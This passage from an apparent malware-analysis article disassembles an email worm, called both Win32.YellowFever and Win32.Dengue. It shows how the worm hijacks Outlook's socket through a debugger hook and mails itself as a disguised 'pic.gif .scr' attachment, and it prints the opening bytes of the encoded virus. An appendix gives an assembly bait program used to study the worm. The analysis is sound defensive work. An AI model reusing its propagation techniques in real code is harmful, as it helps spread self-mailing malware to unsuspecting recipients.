00403B74  0F 0A                                           .
```

This matches the first case of the switch above:

```
004015F3      cmp edx, D15EC8BC            ; FROM
004015F9      je short mj32.00401637
```

The virus copies all the data ""FROM:<...>"" to a buffer and proceeds to set the trap flag and let the target to continue. Next, the target sends:

```
00403B54  52 43 50 54 20 54 4F 3A 20 3C 65 6C 61 62 69 72  RCPT TO: <elabir
00403B64  40 68 6F 74 6D 61 69 6C 2E 63 6F 6D 3E 0F 0A   @hotmail.com>
```

This matches this case:

```
004015FB      cmp edx, 6A304C39              ; RCPT TO
00401601      je short mj32.00401656
```

Again, the data is copied to another buffer and the virus sets the trap flag and so on. After this, the target sends the "DATA" header of the message, which is not handled, and finally the terminating "DOT", which matches the following case:

```
00401603      cmp edx, 3DDCB44E
00401609      je short mj32.00401675
```

Now, the behaviour is rather different: the virus duplicates the handle to the socket used by the target. Then, it can use this fake handle to impersonate the target and call "WS2_32.send" on its behalf. Note that the handle to the socket in the target process was one of the parameters of "WS2_32.send":

```
004016A0      call dword ptr [40240D]        ; DuplicateHandle
...
004016B7      push dword ptr [40393C]        ; |Socket = B4
004016BD      call dword ptr [4029CD]        ; \send
```

In this last call, the virus has sent the terminating " 0Dh, 0Ah, 2Eh, 0Dh, 0Ah", which marks the end of a mail. Next, the virus sends a second mail having itself as the attachment. Note that this is only a "proof of concept" virus. In real life one can do more suitable things, for example: adjust the language of the mail, add some picture, add random message bodies,… The virus needs to adjust some parameters of the socket before to call "WS2_32.send", for example the maximum number of bytes to send. This stuff can be controlled by means of the API "ioctlsocket". Observe that, either the virus has a bug or "win32.hlp" is wrong (the second one, i am afraid), because otherwise the next comparison would lead to an infinite loop:

```
004017FE      call dword ptr [4029DD]        ; call ioctlsocket
00401804      cmp dword ptr [403DE4],0       ;
0040180B      je short mj32.004017E4         ; ???
```

So, change the conditional jump and continue. After this, there is a call to "WS2_32.recv", which receives the reply from the server. Of course, we will not have any reply. Change the return, "eax", to the number of bytes received so the virus thinks everything is ok. Right after this the virus sends a second mail with the added attachment. This is what it sends:

```
0040394C  4D 41 49 4C 20 46 52 4F 4D 3A 20 3C 59 65 6C 6C  MAIL FROM: <Yell
0040395C  6F 77 46 65 76 65 72 40 32 39 41 2E 63 6F 6D 3E  owFever@29A.com>
0040396C  0F 0A                                           .

00403A50  52 43 50 54 20 54 4F 3A 20 3C 65 6C 61 62 69 72   RCPT TO: <elabir@hotm
00403A60  40 68 6F 74 6D 61 69 6C 2E 63 6F 6D 3E 0F 0A      ail.com>.

00402269  44 41 54 41 0D 0A                               DATA..

00403951  46 52 4F 4D 3A 20 3C 59 65 6C 6C 6F 77 46 65 76  FROM: <YellowFev
00403961  65 72 40 32 39 41 2E 63 6F 6D 3E 0F 0A           er@29A.com>.


00403A55  54 4F 3A 20 3C 65 6C 61 62 69 72 40 68 6F 74 6D  TO: <elabir@hotm
00403A65  61 69 6C 2E 63 6F 6D 3E 0F 0A                   ail.com>.

; now comes a block declaring the attachment

0040226F  53 75 62 6A 65 63 74 3A 20 70 69 63 2E 67 69 66  Subject: pic.gif
0040227F  20 20 ...
...
00402370                  20 20 2E 73 63 72 0D 0A 4D 49 4D         .scr..MIM
00402380  45 2D 56 65 72 73 69 6F 6E 3A 20 31 2E 30 0D 0A  E-Version: 1.0..
00402390  43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 69 6D  Content-Type: im
004023A0  61 67 65 2F 67 69 66 3B 20 63 68 61 72 73 65 74  age/gif; charset
004023B0  3D 75 73 2D 61 73 63 69 69 0D 0A 43 6F 6E 74 65  =us-ascii..Conte
004023C0  6E 74 2D 54 72 61 6E 73 66 65 72 2D 45 6E 63 6F  nt-Transfer-Enco
004023D0  64 69 6E 67 3A 20 62 61 73 65 36 34 0D 0A 0D 0A  ding: base64....

; finally, the encoded virus

003C0000  54 56 70 51 41 41 49 41 41 41 41 45 41 41 38 41  TVpQAAIAAAAEAA8A
003C0010  2F 2F 38 41 41 4C 67 41 41 41 41 41 41 41 41 41  //8AALgAAAAAAAAA
003C0020  51 41 41 61 41 41 41 41 41 41 41 41 41 41 41 41  QAAaAAAAAAAAAAAA
...
```

After sending itself, the virus sets again the trap flag at the "EntryPoint" of "WS2_32.send", restores the original instruction and the story starts again. This completes our analysis of "Win32.Dengue".

7. Summary

Let us do a small summary of all new concepts we have learnt so far:

1. Dynamic data: the virus avoids having stored or encrypted information. Instead, it builds its data dynamically. This is a good weapon again static analysers.

2. User-level debuggers: the virus contains a user-level debugger that it uses to attach to the host. This provides important information, which can be used for hooking APIs and interfering with the "SMTP" protocol. We needed to review user-level debuggers and devise a method to extract information from only the debugger (we did not have information from the debuggee).

3. "SMTP" protocol: nowadays, most viruses implement an internal "SMTP" engine which they use to e-mail themselves. In this article, we have review this protocol and built a small application that we used to deceive the virus.

4. System services: the virus uses the Service Control Manager to install itself as a system service. Therefore, we also need a method to debug an application which is loaded before the debugger. Fortunately, the virus does not make extensive use of services features, making our job much easier.

To defeat the virus, we have debugged into each one of its parts and constructed a small application to use as bait file. This file has been coded after having collected a minimum information about the virus. Of course, one needs to update its bait file as he finds out more characteristics of the software to analyse.

8. Conclusions

"Win32.YellowFever" shows that conceptual complexity of current i-worms in the wild is well far from what can be done. Analysis of "Win32.YellowFever" has required understanding user-level debuggers and basic knowledge of the "SMTP" protocol, which we implemented in a small "Anti-YellowFever" application. On the other hand, we have seen there is no need of buying expensive software or using sophisticated tools to reverse malware.

References

1. Labir, E., *VX-Reversing II, Sasser.B.* CBJ, 2004. **1**(1).
2. Symantec, *Symantec Antivirus Software and Information.* http://www.symantec.com, 2005.
3. F-Prot, *F-Prot Antivirus Software.* http://www.f-prot.com, 2005.
4. Labir, E., *VX-Reversing I, the Basics.* CBJ, 2004. **1**(1).
5. Microsoft, *MSDN - Microsoft Development Network.* http://www.msdn.com, 2005.
6. Socket-Internet, *Winsock Programmers FAQ.* http://www.socket.com, 2005.

Appendix: AntiYellow.asm

```
.386
.model flat,stdcall
option casemap:none


;.....................................................................
;                          includes
;.....................................................................

  include \masm32\include\windows.inc

  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  include \masm32\include\wsock32.inc

  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib
  includelib \masm32\lib\wsock32.lib


  WinMain proto :DWORD,:DWORD,:DWORD,:DWORD


; my own constants and stuff

SOCKET_VERSION    EQU 0202h         ; no need to request such a high version
LOCAL_HOST        EQU 0100007FH     ; 127.0.0.1

;.....................................................................
;                       data section
;.....................................................................

.data

zsClassName  db "Outlook Express Browser Class",0   ; target class
zsAppName    db "Hello YelloFever",0                ; title of window
zsWsockError db 'Winsock Error',0

;  Constants for the mini-SMTP engine.

zsHelo        db 'HELO <hotmail.com>', 0Dh, 0Ah
zsMailFrom    db 'MAIL FROM: <YellowFever@29A.com>', 0Dh, 0Ah
zsRcptTo      db 'RCPT TO: <elabir@hotmail.com>', 0Dh, 0Ah
zsData        db 'DATA', 0Dh, 0Ah
zsMsgBody     db 'regards', 0Dh, 0Ah
zsDot         db  0Dh, 0Ah, '.', 0Dh, 0Ah
zsQuit        db 'QUIT', 0Dh, 0Ah

; for working with WSOCK

LocalAddr sockaddr_in <0>
mySocketOut    SOCKET  0
mySocketIn     SOCKET  0

SocketData WSADATA <0>

; some general variables

hInstance HINSTANCE 0
CommandLine dd 0
buffer      dd 0
ThreadID    dd 0
hfile       dd 0
```

```
hmap        dd 0
LOG_SIZE    dd 10000h        ; size of buffer to create


;.....................................................................
;                      AntiYellow code
;.....................................................................
; Description: The application keeps a log of all sent mails. Then
; it creates a window with the same class name than outlook and also
; a new thread. The thread is an infinite loop that sends a mail
; ONLY when it is debugged (because YellowFever will debug it).
;.....................................................................

.code
start:

      ;.............................................................
      ;    create the window (see iczelion homepage for details)
      ;.............................................................


    invoke GetModuleHandle, NULL
    mov    hInstance,eax

    invoke GetCommandLine
    mov    CommandLine,eax

    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
    invoke ExitProcess,eax


WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET zsClassName   ; Outlook class name (above)


; load the icon

    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax

; load the cursor

    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax

; register our window class
    invoke RegisterClassEx, addr wc


; create window

    INVOKE CreateWindowEx,NULL,ADDR zsClassName, ADDR zsAppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
```

```
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL

        mov hwnd,eax

; show and update the window

    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd

;.............................................................
;         start a new thread for sending the messages
;.............................................................

    mov eax, OFFSET ThreadProc
    xor ebx, ebx
    invoke CreateThread,\
            ebx,\               ; security attributes
            ebx,\               ; stack size
            eax,\               ; start address
            ebx,\               ; parameter for thread
            ebx,\               ; creation flags
            ADDR ThreadID       ; storage for thread id

; message loop

    .WHILE TRUE
                invoke GetMessage, ADDR msg, NULL, 0, 0
        .BREAK .IF (!eax)
        invoke TranslateMessage, ADDR msg
        invoke DispatchMessage, ADDR msg
    .ENDW

    mov     eax, msg.wParam
    ret

WinMain endp


;.....................................................................
;                       Window Procedure
;.....................................................................



WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret

WndProc endp

;.....................................................................
;                   My thread to send messages to the server
;.....................................................................

ThreadProc proc     lpParam:DWORD

; initialize winsock
```

```
    invoke WSAStartup, SOCKET_VERSION, ADDR SocketData
    .if eax != NULL
        jmp @@ErrorWinsock
    .endif


; create an origin socket (to send data from)

    invoke socket, PF_INET, SOCK_RAW, IPPROTO_IP
    mov mySocketIn, eax

    .if eax == INVALID_SOCKET
        jmp @@ErrorWinsock
    .endif

; create a destination socket (to send data to)

    invoke socket, PF_INET, SOCK_RAW, IPPROTO_IP
    mov mySocketOut, eax

    .if eax == INVALID_SOCKET
        jmp @@ErrorWinsock
    .endif

; fill the local address to bind the destination socket to it

    mov LocalAddr.sin_family, PF_INET       ;
    mov LocalAddr.sin_addr, LOCAL_HOST      ; 127.0.0.1
    invoke htons, IPPORT_ECHO               ; this is the port for "pings"
    mov LocalAddr.sin_port, ax              ;

; bind the output socket to the local address

    invoke bind, mySocketOut, ADDR LocalAddr, SIZEOF sockaddr

    .if eax != NULL
        jmp @@ErrorWinsock
    .endif

; connect the input socket to the local address

    invoke connect, mySocketIn, ADDR LocalAddr, SIZEOF sockaddr

    .if eax != NULL
        jmp @@ErrorWinsock
    .endif

; Send messages to the local address. We only do this when we are debugged, meaning
;  the virus is trying to hook our calls. All mails we send, an only one, are
logged.

    .WHILE (TRUE)

          invoke IsDebuggerPresent
          .if eax != 0

                invoke send, mySocketIn, ADDR zsHelo      , 18+2, 0
                invoke send, mySocketIn, ADDR zsMailFrom  , 32+2, 0
                invoke send, mySocketIn, ADDR zsRcptTo    , 29+2, 0
                invoke send, mySocketIn, ADDR zsData      , 4+2 , 0
                invoke send, mySocketIn, ADDR zsMsgBody   , 7+2 , 0
                invoke send, mySocketIn, ADDR zsDot       , 1+2 , 0
                invoke send, mySocketIn, ADDR zsQuit      , 4+2 , 0

                invoke ExitProcess, 0
```

```
          .endif

    .ENDW

@@ErrorWinsock:

    invoke MessageBoxA, 0,0, ADDR zsWsockError, 0
    ret

ThreadProc endp

end start
```